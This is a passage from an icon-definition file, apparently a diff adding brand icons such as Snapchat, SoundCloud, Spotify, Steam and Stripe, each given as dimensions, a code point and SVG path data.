19.2c-68.9 37.4-128.3 31.1-160.6 29.7-23.7-.9-32.6 9.1-33.7 24.9-10.3-7.7-18.6-15.5-20.3-17.1-5.1-5.4-13.7-8-27.1-7.7-31.7 1.1-89.7 7.4-157.4-28V72.3c0-34.9 8.9-45.7 40.6-45.7h317.7c30.3 0 40.9 12.9 40.9 45.7v190.6z"], + "snapchat": [496, 512, [], "f2ab", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm169.5 338.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C183.1 100 230.7 96 244.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z"], + "snapchat-ghost": [512, 512, [], "f2ac", "M510.846 392.673c-5.211 12.157-27.239 21.089-67.36 27.318-2.064 2.786-3.775 14.686-6.507 23.956-1.625 5.566-5.623 8.869-12.128 8.869l-.297-.005c-9.395 0-19.203-4.323-38.852-4.323-26.521 0-35.662 6.043-56.254 20.588-21.832 15.438-42.771 28.764-74.027 27.399-31.646 2.334-58.025-16.908-72.871-27.404-20.714-14.643-29.828-20.582-56.241-20.582-18.864 0-30.736 4.72-38.852 4.72-8.073 0-11.213-4.922-12.422-9.04-2.703-9.189-4.404-21.263-6.523-24.13-20.679-3.209-67.31-11.344-68.498-32.15a10.627 10.627 0 0 1 8.877-11.069c69.583-11.455 100.924-82.901 102.227-85.934.074-.176.155-.344.237-.515 3.713-7.537 4.544-13.849 2.463-18.753-5.05-11.896-26.872-16.164-36.053-19.796-23.715-9.366-27.015-20.128-25.612-27.504 2.437-12.836 21.725-20.735 33.002-15.453 8.919 4.181 16.843 6.297 23.547 6.297 5.022 0 8.212-1.204 9.96-2.171-2.043-35.936-7.101-87.29 5.687-115.969C158.122 21.304 229.705 15.42 250.826 15.42c.944 0 9.141-.089 10.11-.089 52.148 0 102.254 26.78 126.723 81.643 12.777 28.65 7.749 79.792 5.695 116.009 1.582.872 4.357 1.942 8.599 2.139 6.397-.286 13.815-2.389 22.069-6.257 6.085-2.846 14.406-2.461 20.48.058l.029.01c9.476 3.385 15.439 10.215 15.589 17.87.184 9.747-8.522 18.165-25.878 25.018-2.118.835-4.694 1.655-7.434 2.525-9.797 3.106-24.6 7.805-28.616 17.271-2.079 4.904-1.256 11.211 2.46 18.748.087.168.166.342.239.515 1.301 3.03 32.615 74.46 102.23 85.934 6.427 1.058 11.163 7.877 7.725 15.859z"], + "snapchat-square": [448, 512, [], "f2ad", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6.5 314.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C159.1 100 206.7 96 220.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z"], + "soundcloud": [640, 512, [], "f1be", "M111.4 256.3l5.8 65-5.8 68.3c-.3 2.5-2.2 4.4-4.4 4.4s-4.2-1.9-4.2-4.4l-5.6-68.3 5.6-65c0-2.2 1.9-4.2 4.2-4.2 2.2 0 4.1 2 4.4 4.2zm21.4-45.6c-2.8 0-4.7 2.2-5 5l-5 105.6 5 68.3c.3 2.8 2.2 5 5 5 2.5 0 4.7-2.2 4.7-5l5.8-68.3-5.8-105.6c0-2.8-2.2-5-4.7-5zm25.5-24.1c-3.1 0-5.3 2.2-5.6 5.3l-4.4 130 4.4 67.8c.3 3.1 2.5 5.3 5.6 5.3 2.8 0 5.3-2.2 5.3-5.3l5.3-67.8-5.3-130c0-3.1-2.5-5.3-5.3-5.3zM7.2 283.2c-1.4 0-2.2 1.1-2.5 2.5L0 321.3l4.7 35c.3 1.4 1.1 2.5 2.5 2.5s2.2-1.1 2.5-2.5l5.6-35-5.6-35.6c-.3-1.4-1.1-2.5-2.5-2.5zm23.6-21.9c-1.4 0-2.5 1.1-2.5 2.5l-6.4 57.5 6.4 56.1c0 1.7 1.1 2.8 2.5 2.8s2.5-1.1 2.8-2.5l7.2-56.4-7.2-57.5c-.3-1.4-1.4-2.5-2.8-2.5zm25.3-11.4c-1.7 0-3.1 1.4-3.3 3.3L47 321.3l5.8 65.8c.3 1.7 1.7 3.1 3.3 3.1 1.7 0 3.1-1.4 3.1-3.1l6.9-65.8-6.9-68.1c0-1.9-1.4-3.3-3.1-3.3zm25.3-2.2c-1.9 0-3.6 1.4-3.6 3.6l-5.8 70 5.8 67.8c0 2.2 1.7 3.6 3.6 3.6s3.6-1.4 3.9-3.6l6.4-67.8-6.4-70c-.3-2.2-2-3.6-3.9-3.6zm241.4-110.9c-1.1-.8-2.8-1.4-4.2-1.4-2.2 0-4.2.8-5.6 1.9-1.9 1.7-3.1 4.2-3.3 6.7v.8l-3.3 176.7 1.7 32.5 1.7 31.7c.3 4.7 4.2 8.6 8.9 8.6s8.6-3.9 8.6-8.6l3.9-64.2-3.9-177.5c-.4-3-2-5.8-4.5-7.2zm-26.7 15.3c-1.4-.8-2.8-1.4-4.4-1.4s-3.1.6-4.4 1.4c-2.2 1.4-3.6 3.9-3.6 6.7l-.3 1.7-2.8 160.8s0 .3 3.1 65.6v.3c0 1.7.6 3.3 1.7 4.7 1.7 1.9 3.9 3.1 6.4 3.1 2.2 0 4.2-1.1 5.6-2.5 1.7-1.4 2.5-3.3 2.5-5.6l.3-6.7 3.1-58.6-3.3-162.8c-.3-2.8-1.7-5.3-3.9-6.7zm-111.4 22.5c-3.1 0-5.8 2.8-5.8 6.1l-4.4 140.6 4.4 67.2c.3 3.3 2.8 5.8 5.8 5.8 3.3 0 5.8-2.5 6.1-5.8l5-67.2-5-140.6c-.2-3.3-2.7-6.1-6.1-6.1zm376.7 62.8c-10.8 0-21.1 2.2-30.6 6.1-6.4-70.8-65.8-126.4-138.3-126.4-17.8 0-35 3.3-50.3 9.4-6.1 2.2-7.8 4.4-7.8 9.2v249.7c0 5 3.9 8.6 8.6 9.2h218.3c43.3 0 78.6-35 78.6-78.3.1-43.6-35.2-78.9-78.5-78.9zm-296.7-60.3c-4.2 0-7.5 3.3-7.8 7.8l-3.3 136.7 3.3 65.6c.3 4.2 3.6 7.5 7.8 7.5 4.2 0 7.5-3.3 7.5-7.5l3.9-65.6-3.9-136.7c-.3-4.5-3.3-7.8-7.5-7.8zm-53.6-7.8c-3.3 0-6.4 3.1-6.4 6.7l-3.9 145.3 3.9 66.9c.3 3.6 3.1 6.4 6.4 6.4 3.6 0 6.4-2.8 6.7-6.4l4.4-66.9-4.4-145.3c-.3-3.6-3.1-6.7-6.7-6.7zm26.7 3.4c-3.9 0-6.9 3.1-6.9 6.9L227 321.3l3.9 66.4c.3 3.9 3.1 6.9 6.9 6.9s6.9-3.1 6.9-6.9l4.2-66.4-4.2-141.7c0-3.9-3-6.9-6.9-6.9z"], + "sourcetree": [448, 512, [], "f7d3", "M427.2 203c0-112.1-90.9-203-203-203C112.1-.2 21.2 90.6 21 202.6A202.86 202.86 0 0 0 161.5 396v101.7a14.3 14.3 0 0 0 14.3 14.3h96.4a14.3 14.3 0 0 0 14.3-14.3V396.1A203.18 203.18 0 0 0 427.2 203zm-271.6 0c0-90.8 137.3-90.8 137.3 0-.1 89.9-137.3 91-137.3 0z"], + "speakap": [448, 512, [], "f3f3", "M64 391.78C-15.41 303.59-8 167.42 80.64 87.64s224.8-73 304.21 15.24 72 224.36-16.64 304.14c-18.74 16.87 64 43.09 42 52.26-82.06 34.21-253.91 35-346.23-67.5zm213.31-211.6l38.5-40.86c-9.61-8.89-32-26.83-76.17-27.6-52.33-.91-95.86 28.3-96.77 80-.2 11.33.29 36.72 29.42 54.83 34.46 21.42 86.52 21.51 86 52.26-.37 21.28-26.42 25.81-38.59 25.6-3-.05-30.23-.46-47.61-24.62l-40 42.61c28.16 27 59 32.62 83.49 33.05 10.23.18 96.42.33 97.84-81 .28-15.81-2.07-39.72-28.86-56.59-34.36-21.64-85-19.45-84.43-49.75.41-23.25 31-25.37 37.53-25.26.43 0 26.62.26 39.62 17.37z"], + "speaker-deck": [512, 512, [], "f83c", "M213.86 296H100a100 100 0 0 1 0-200h132.84a40 40 0 0 1 0 80H98c-26.47 0-26.45 40 0 40h113.82a100 100 0 0 1 0 200H40a40 40 0 0 1 0-80h173.86c26.48 0 26.46-40 0-40zM298 416a120.21 120.21 0 0 0 51.11-80h64.55a19.83 19.83 0 0 0 19.66-20V196a19.83 19.83 0 0 0-19.66-20H296.42a60.77 60.77 0 0 0 0-80h136.93c43.44 0 78.65 35.82 78.65 80v160c0 44.18-35.21 80-78.65 80z"], + "spotify": [496, 512, [], "f1bc", "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm100.7 364.9c-4.2 0-6.8-1.3-10.7-3.6-62.4-37.6-135-39.2-206.7-24.5-3.9 1-9 2.6-11.9 2.6-9.7 0-15.8-7.7-15.8-15.8 0-10.3 6.1-15.2 13.6-16.8 81.9-18.1 165.6-16.5 237 26.2 6.1 3.9 9.7 7.4 9.7 16.5s-7.1 15.4-15.2 15.4zm26.9-65.6c-5.2 0-8.7-2.3-12.3-4.2-62.5-37-155.7-51.9-238.6-29.4-4.8 1.3-7.4 2.6-11.9 2.6-10.7 0-19.4-8.7-19.4-19.4s5.2-17.8 15.5-20.7c27.8-7.8 56.2-13.6 97.8-13.6 64.9 0 127.6 16.1 177 45.5 8.1 4.8 11.3 11 11.3 19.7-.1 10.8-8.5 19.5-19.4 19.5zm31-76.2c-5.2 0-8.4-1.3-12.9-3.9-71.2-42.5-198.5-52.7-280.9-29.7-3.6 1-8.1 2.6-12.9 2.6-13.2 0-23.3-10.3-23.3-23.6 0-13.6 8.4-21.3 17.4-23.9 35.2-10.3 74.6-15.2 117.5-15.2 73 0 149.5 15.2 205.4 47.8 7.8 4.5 12.9 10.7 12.9 22.6 0 13.6-11 23.3-23.2 23.3z"], + "squarespace": [512, 512, [], "f5be", "M186.12 343.34c-9.65 9.65-9.65 25.29 0 34.94 9.65 9.65 25.29 9.65 34.94 0L378.24 221.1c19.29-19.29 50.57-19.29 69.86 0s19.29 50.57 0 69.86L293.95 445.1c19.27 19.29 50.53 19.31 69.82.04l.04-.04 119.25-119.24c38.59-38.59 38.59-101.14 0-139.72-38.59-38.59-101.15-38.59-139.72 0l-157.22 157.2zm244.53-104.8c-9.65-9.65-25.29-9.65-34.93 0l-157.2 157.18c-19.27 19.29-50.53 19.31-69.82.05l-.05-.05c-9.64-9.64-25.27-9.65-34.92-.01l-.01.01c-9.65 9.64-9.66 25.28-.02 34.93l.02.02c38.58 38.57 101.14 38.57 139.72 0l157.2-157.2c9.65-9.65 9.65-25.29.01-34.93zm-261.99 87.33l157.18-157.18c9.64-9.65 9.64-25.29 0-34.94-9.64-9.64-25.27-9.64-34.91 0L133.72 290.93c-19.28 19.29-50.56 19.3-69.85.01l-.01-.01c-19.29-19.28-19.31-50.54-.03-69.84l.03-.03L218.03 66.89c-19.28-19.29-50.55-19.3-69.85-.02l-.02.02L28.93 186.14c-38.58 38.59-38.58 101.14 0 139.72 38.6 38.59 101.13 38.59 139.73.01zm-87.33-52.4c9.64 9.64 25.27 9.64 34.91 0l157.21-157.19c19.28-19.29 50.55-19.3 69.84-.02l.02.02c9.65 9.65 25.29 9.65 34.93 0 9.65-9.65 9.65-25.29 0-34.93-38.59-38.59-101.13-38.59-139.72 0L81.33 238.54c-9.65 9.64-9.65 25.28-.01 34.93h.01z"], + "stack-exchange": [448, 512, [], "f18d", "M17.7 332.3h412.7v22c0 37.7-29.3 68-65.3 68h-19L259.3 512v-89.7H83c-36 0-65.3-30.3-65.3-68v-22zm0-23.6h412.7v-85H17.7v85zm0-109.4h412.7v-85H17.7v85zM365 0H83C47 0 17.7 30.3 17.7 67.7V90h412.7V67.7C430.3 30.3 401 0 365 0z"], + "stack-overflow": [384, 512, [], "f16c", "M290.7 311L95 269.7 86.8 309l195.7 41zm51-87L188.2 95.7l-25.5 30.8 153.5 128.3zm-31.2 39.7L129.2 179l-16.7 36.5L293.7 300zM262 32l-32 24 119.3 160.3 32-24zm20.5 328h-200v39.7h200zm39.7 80H42.7V320h-40v160h359.5V320h-40z"], + "stackpath": [448, 512, [], "f842", "M244.6 232.4c0 8.5-4.26 20.49-21.34 20.49h-19.61v-41.47h19.61c17.13 0 21.34 12.36 21.34 20.98zM448 32v448H0V32zM151.3 287.84c0-21.24-12.12-34.54-46.72-44.85-20.57-7.41-26-10.91-26-18.63s7-14.61 20.41-14.61c14.09 0 20.79 8.45 20.79 18.35h30.7l.19-.57c.5-19.57-15.06-41.65-51.12-41.65-23.37 0-52.55 10.75-52.55 38.29 0 19.4 9.25 31.29 50.74 44.37 17.26 6.15 21.91 10.4 21.91 19.48 0 15.2-19.13 14.23-19.47 14.23-20.4 0-25.65-9.1-25.65-21.9h-30.8l-.18.56c-.68 31.32 28.38 45.22 56.63 45.22 29.98 0 51.12-13.55 51.12-38.29zm125.38-55.63c0-25.3-18.43-45.46-53.42-45.46h-51.78v138.18h32.17v-47.36h19.61c30.25 0 53.42-15.95 53.42-45.36zM297.94 325L347 186.78h-31.09L268 325zm106.52-138.22h-31.09L325.46 325h29.94z"], + "staylinked": [440, 512, [], "f3f5", "M382.7 292.5l2.7 2.7-170-167.3c-3.5-3.5-9.7-3.7-13.8-.5L144.3 171c-4.2 3.2-4.6 8.7-1.1 12.2l68.1 64.3c3.6 3.5 9.9 3.7 14 .5l.1-.1c4.1-3.2 10.4-3 14 .5l84 81.3c3.6 3.5 3.2 9-.9 12.2l-93.2 74c-4.2 3.3-10.5 3.1-14.2-.4L63.2 268c-3.5-3.5-9.7-3.7-13.9-.5L3.5 302.4c-4.2 3.2-4.7 8.7-1.2 12.2L211 510.7s7.4 6.8 17.3-.8l198-163.9c4-3.2 4.4-8.7.7-12.2zm54.5-83.4L226.7 2.5c-1.5-1.2-8-5.5-16.3 1.1L3.6 165.7c-4.2 3.2-4.8 8.7-1.2 12.2l42.3 41.7 171.7 165.1c3.7 3.5 10.1 3.7 14.3.4l50.2-38.8-.3-.3 7.7-6c4.2-3.2 4.6-8.7.9-12.2l-57.1-54.4c-3.6-3.5-10-3.7-14.2-.5l-.1.1c-4.2 3.2-10.5 3.1-14.2-.4L109 180.8c-3.6-3.5-3.1-8.9 1.1-12.2l92.2-71.5c4.1-3.2 10.3-3 13.9.5l160.4 159c3.7 3.5 10 3.7 14.1.5l45.8-35.8c4.1-3.2 4.4-8.7.7-12.2z"], + "steam": [496, 512, [], "f1b6", "M496 256c0 137-111.2 248-248.4 248-113.8 0-209.6-76.3-239-180.4l95.2 39.3c6.4 32.1 34.9 56.4 68.9 56.4 39.2 0 71.9-32.4 70.2-73.5l84.5-60.2c52.1 1.3 95.8-40.9 95.8-93.5 0-51.6-42-93.5-93.7-93.5s-93.7 42-93.7 93.5v1.2L176.6 279c-15.5-.9-30.7 3.4-43.5 12.1L0 236.1C10.2 108.4 117.1 8 247.6 8 384.8 8 496 119 496 256zM155.7 384.3l-30.5-12.6a52.79 52.79 0 0 0 27.2 25.8c26.9 11.2 57.8-1.6 69-28.4 5.4-13 5.5-27.3.1-40.3-5.4-13-15.5-23.2-28.5-28.6-12.9-5.4-26.7-5.2-38.9-.6l31.5 13c19.8 8.2 29.2 30.9 20.9 50.7-8.3 19.9-31 29.2-50.8 21zm173.8-129.9c-34.4 0-62.4-28-62.4-62.3s28-62.3 62.4-62.3 62.4 28 62.4 62.3-27.9 62.3-62.4 62.3zm.1-15.6c25.9 0 46.9-21 46.9-46.8 0-25.9-21-46.8-46.9-46.8s-46.9 21-46.9 46.8c.1 25.8 21.1 46.8 46.9 46.8z"], + "steam-square": [448, 512, [], "f1b7", "M185.2 356.5c7.7-18.5-1-39.7-19.6-47.4l-29.5-12.2c11.4-4.3 24.3-4.5 36.4.5 12.2 5.1 21.6 14.6 26.7 26.7 5 12.2 5 25.6-.1 37.7-10.5 25.1-39.4 37-64.6 26.5-11.6-4.8-20.4-13.6-25.4-24.2l28.5 11.8c18.6 7.8 39.9-.9 47.6-19.4zM400 32H48C21.5 32 0 53.5 0 80v160.7l116.6 48.1c12-8.2 26.2-12.1 40.7-11.3l55.4-80.2v-1.1c0-48.2 39.3-87.5 87.6-87.5s87.6 39.3 87.6 87.5c0 49.2-40.9 88.7-89.6 87.5l-79 56.3c1.6 38.5-29.1 68.8-65.7 68.8-31.8 0-58.5-22.7-64.5-52.7L0 319.2V432c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-99.7 222.5c-32.2 0-58.4-26.1-58.4-58.3s26.2-58.3 58.4-58.3 58.4 26.2 58.4 58.3-26.2 58.3-58.4 58.3zm.1-14.6c24.2 0 43.9-19.6 43.9-43.8 0-24.2-19.6-43.8-43.9-43.8-24.2 0-43.9 19.6-43.9 43.8 0 24.2 19.7 43.8 43.9 43.8z"], + "steam-symbol": [448, 512, [], "f3f6", "M395.5 177.5c0 33.8-27.5 61-61 61-33.8 0-61-27.3-61-61s27.3-61 61-61c33.5 0 61 27.2 61 61zm52.5.2c0 63-51 113.8-113.7 113.8L225 371.3c-4 43-40.5 76.8-84.5 76.8-40.5 0-74.7-28.8-83-67L0 358V250.7L97.2 290c15.1-9.2 32.2-13.3 52-11.5l71-101.7c.5-62.3 51.5-112.8 114-112.8C397 64 448 115 448 177.7zM203 363c0-34.7-27.8-62.5-62.5-62.5-4.5 0-9 .5-13.5 1.5l26 10.5c25.5 10.2 38 39 27.7 64.5-10.2 25.5-39.2 38-64.7 27.5-10.2-4-20.5-8.3-30.7-12.2 10.5 19.7 31.2 33.2 55.2 33.2 34.7 0 62.5-27.8 62.5-62.5zm207.5-185.3c0-42-34.3-76.2-76.2-76.2-42.3 0-76.5 34.2-76.5 76.2 0 42.2 34.3 76.2 76.5 76.2 41.9.1 76.2-33.9 76.2-76.2z"], + "sticker-mule": [576, 512, [], "f3f7", "M561.7 199.6c-1.3.3.3 0 0 0zm-6.2-77.4c-7.7-22.3-5.1-7.2-13.4-36.9-1.6-6.5-3.6-14.5-6.2-20-4.4-8.7-4.6-7.5-4.6-9.5 0-5.3 30.7-45.3 19-46.9-5.7-.6-12.2 11.6-20.6 17-8.6 4.2-8 5-10.3 5-2.6 0-5.7-3-6.2-5-2-5.7 1.9-25.9-3.6-25.9-3.6 0-12.3 24.8-17 25.8-5.2 1.3-27.9-11.4-75.1 18-25.3 13.2-86.9 65.2-87 65.3-6.7 4.7-20 4.7-35.5 16-44.4 30.1-109.6 9.4-110.7 9-110.6-26.8-128-15.2-159 11.5-20.8 17.9-23.7 36.5-24.2 38.9-4.2 20.4 5.2 48.3 6.7 64.3 1.8 19.3-2.7 17.7 7.7 98.3.5 1 4.1 0 5.1 1.5 0 8.4-3.8 12.1-4.1 13-1.5 4.5-1.5 10.5 0 16 2.3 8.2 8.2 37.2 8.2 46.9 0 41.8.4 44 2.6 49.4 3.9 10 12.5 9.1 17 12 3.1 3.5-.5 8.5 1 12.5.5 2 3.6 4 6.2 5 9.2 3.6 27 .3 29.9-2.5 1.6-1.5.5-4.5 3.1-5 5.1 0 10.8-.5 14.4-2.5 5.1-2.5 4.1-6 1.5-10.5-.4-.8-7-13.3-9.8-16-2.1-2-5.1-3-7.2-4.5-5.8-4.9-10.3-19.4-10.3-19.5-4.6-19.4-10.3-46.3-4.1-66.8 4.6-17.2 39.5-87.7 39.6-87.8 4.1-6.5 17-11.5 27.3-7 6 1.9 19.3 22 65.4 30.9 47.9 8.7 97.4-2 112.2-2 2.8 2-1.9 13-.5 38.9 0 26.4-.4 13.7-4.1 29.9-2.2 9.7 3.4 23.2-1.5 46.9-1.4 9.8-9.9 32.7-8.2 43.4.5 1 1 2 1.5 3.5.5 4.5 1.5 8.5 4.6 10 7.3 3.6 12-3.5 9.8 11.5-.7 3.1-2.6 12 1.5 15 4.4 3.7 30.6 3.4 36.5.5 2.6-1.5 1.6-4.5 6.4-7.4 1.9-.9 11.3-.4 11.3-6.5.3-1.8-9.2-19.9-9.3-20-2.6-3.5-9.2-4.5-11.3-8-6.9-10.1-1.7-52.6.5-59.4 3-11 5.6-22.4 8.7-32.4 11-42.5 10.3-50.6 16.5-68.3.8-1.8 6.4-23.1 10.3-29.9 9.3-17 21.7-32.4 33.5-47.4 18-22.9 34-46.9 52-69.8 6.1-7 8.2-13.7 18-8 10.8 5.7 21.6 7 31.9 17 14.6 12.8 10.2 18.2 11.8 22.9 1.5 5 7.7 10.5 14.9 9.5 10.4-2 13-2.5 13.4-2.5 2.6-.5 5.7-5 7.2-8 3.1-5.5 7.2-9 7.2-16.5 0-7.7-.4-2.8-20.6-52.9z"], + "strava": [384, 512, [], "f428", "M158.4 0L7 292h89.2l62.2-116.1L220.1 292h88.5zm150.2 292l-43.9 88.2-44.6-88.2h-67.6l112.2 220 111.5-220z"], + "stripe": [640, 512, [], "f429", "M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z"], + "stripe-s": [384, 512, [], "f42a", "M155.3 154.6c0-22.3 18.6-30.9 48.4-30.9 43.4 0 98.5 13.3 141.9 36.7V26.1C298.3 7.2 251.1 0 203.8 0 88.1 0 11 60.4 11 161.4c0 157.9 216.8 132.3 216.8 200.4 0 26.4-22.9 34.9-54.7 34.9-47.2 0-108.2-19.5-156.1-45.5v128.5a396.09 396.09 0 0 0 156 32.4c118.6 0 200.3-51 200.3-153.6 0-170.2-218-139.7-218-203.9z"], + "studiovinari": [512, 512, [], "f3f8", "M480.3 187.7l4.2 28v28l-25.1 44.1-39.8 78.4-56.1 67.5-79.1 37.8-17.7 24.5-7.7 12-9.6 4s17.3-63.6 19.4-63.6c2.1 0 20.3.7 20.3.7l66.7-38.6-92.5 26.1-55.9 36.8-22.8 28-6.6 1.4 20.8-73.6 6.9-5.5 20.7 12.9 88.3-45.2 56.8-51.5 14.8-68.4-125.4 23.3 15.2-18.2-173.4-53.3 81.9-10.5-166-122.9L133.5 108 32.2 0l252.9 126.6-31.5-38L378 163 234.7 64l18.7 38.4-49.6-18.1L158.3 0l194.6 122L310 66.2l108 96.4 12-8.9-21-16.4 4.2-37.8L451 89.1l29.2 24.7 11.5 4.2-7 6.2 8.5 12-13.1 7.4-10.3 20.2 10.5 23.9z"], + "stumbleupon": [512, 512, [], "f1a4", "M502.9 266v69.7c0 62.1-50.3 112.4-112.4 112.4-61.8 0-112.4-49.8-112.4-111.3v-70.2l34.3 16 51.1-15.2V338c0 14.7 12 26.5 26.7 26.5S417 352.7 417 338v-72h85.9zm-224.7-58.2l34.3 16 51.1-15.2V173c0-60.5-51.1-109-112.1-109-60.8 0-112.1 48.2-112.1 108.2v162.4c0 14.9-12 26.7-26.7 26.7S86 349.5 86 334.6V266H0v69.7C0 397.7 50.3 448 112.4 448c61.6 0 112.4-49.5 112.4-110.8V176.9c0-14.7 12-26.7 26.7-26.7s26.7 12 26.7 26.7v30.9z"], + "stumbleupon-circle": [496, 512, [], "f1a3", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 177.5c-9.8 0-17.8 8-17.8 17.8v106.9c0 40.9-33.9 73.9-74.9 73.9-41.4 0-74.9-33.5-74.9-74.9v-46.5h57.3v45.8c0 10 8 17.8 17.8 17.8s17.8-7.9 17.8-17.8V200.1c0-40 34.2-72.1 74.7-72.1 40.7 0 74.7 32.3 74.7 72.6v23.7l-34.1 10.1-22.9-10.7v-20.6c.1-9.6-7.9-17.6-17.7-17.6zm167.6 123.6c0 41.4-33.5 74.9-74.9 74.9-41.2 0-74.9-33.2-74.9-74.2V263l22.9 10.7 34.1-10.1v47.1c0 9.8 8 17.6 17.8 17.6s17.8-7.9 17.8-17.6v-48h57.3c-.1 45.9-.1 46.4-.1 46.4z"], + "superpowers": [448, 512, [], "f2dd", "M448 32c-83.3 11-166.8 22-250 33-92 12.5-163.3 86.7-169 180-3.3 55.5 18 109.5 57.8 148.2L0 480c83.3-11 166.5-22 249.8-33 91.8-12.5 163.3-86.8 168.7-179.8 3.5-55.5-18-109.5-57.7-148.2L448 32zm-79.7 232.3c-4.2 79.5-74 139.2-152.8 134.5-79.5-4.7-140.7-71-136.3-151 4.5-79.2 74.3-139.3 153-134.5 79.3 4.7 140.5 71 136.1 151z"], + "supple": [640, 512, [], "f3f9", "M640 262.5c0 64.1-109 116.1-243.5 116.1-24.8 0-48.6-1.8-71.1-5 7.7.4 15.5.6 23.4.6 134.5 0 243.5-56.9 243.5-127.1 0-29.4-19.1-56.4-51.2-78 60 21.1 98.9 55.1 98.9 93.4zM47.7 227.9c-.1-70.2 108.8-127.3 243.3-127.6 7.9 0 15.6.2 23.3.5-22.5-3.2-46.3-4.9-71-4.9C108.8 96.3-.1 148.5 0 212.6c.1 38.3 39.1 72.3 99.3 93.3-32.3-21.5-51.5-48.6-51.6-78zm60.2 39.9s10.5 13.2 29.3 13.2c17.9 0 28.4-11.5 28.4-25.1 0-28-40.2-25.1-40.2-39.7 0-5.4 5.3-9.1 12.5-9.1 5.7 0 11.3 2.6 11.3 6.6v3.9h14.2v-7.9c0-12.1-15.4-16.8-25.4-16.8-16.5 0-28.5 